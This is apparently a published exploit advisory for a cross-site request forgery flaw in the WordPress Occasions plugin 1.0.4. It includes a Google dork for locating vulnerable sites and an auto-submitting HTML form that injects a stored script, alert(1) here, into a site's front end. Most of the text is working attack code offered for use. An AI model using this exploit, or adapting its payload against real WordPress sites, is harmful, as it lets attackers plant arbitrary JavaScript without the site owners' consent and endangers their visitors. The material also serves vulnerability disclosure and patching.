WordPress Plugin Occasions 1.0.4 – Cross-Site Request Forgery
<html> <!-- # Exploit Title: WordPress Occasions Plugin 1.0.4 CSRF # Google Dork: inurl:"/wp-content/plugins/occasions # Date: 18.03.2013 # Exploit Author: m3tamantra (http://m3tamantra.wordpress.com/blog) # Vendor Homepage: http://wordpress.org/extend/plugins/occasions/ # Software Link: http://downloads.wordpress.org/plugin/occasions.zip # Version: 1.0.4 # Tested on: Apache/2.2.16 (Debian) PHP 5.3.3-7+squeeze14 with Suhosin-Patch (cli) You can use the CSRF vulnerability to add/delete Occasions. It is also possible to enter JavaScript in occ_content1 parameter when occ_type1=1 . Think this is a feature not a bug, anyway because of the CSRF vulnerability this can be used to execute arbitrary JavaScript in the front-end area (shortcode = [Occasions]). PoC will add an alert in the front-end area. Note: check occ_startdate1 and occ_enddate1 and set them appropriate. --> <head><title>CSRF Occasions</title></head> <body> <!-- replace 127.0.0.1:9001/wordpress --> <form action="http://127.0.0.1:9001/wordpress/wp-admin/options-general.php?page=occasions/occasions.php" method="POST"> <input type="hidden" name="action" value="saveoccasions" /> <input type="hidden" name="nodes[]" value="1" /> <input type="hidden" name="occ_title1" value="CSRF Vulnerability" /> <input type="hidden" name="occ_startdate1" value="18.03." /> <input type="hidden" name="occ_enddate1" value="28.03." /> <input type="hidden" name="occ_type1" value="1" /> <input type="hidden" name="occ_content1" value="<script>alert(1)</script>" /> <script>document.forms[0].submit();</script> </form> </body> </html> |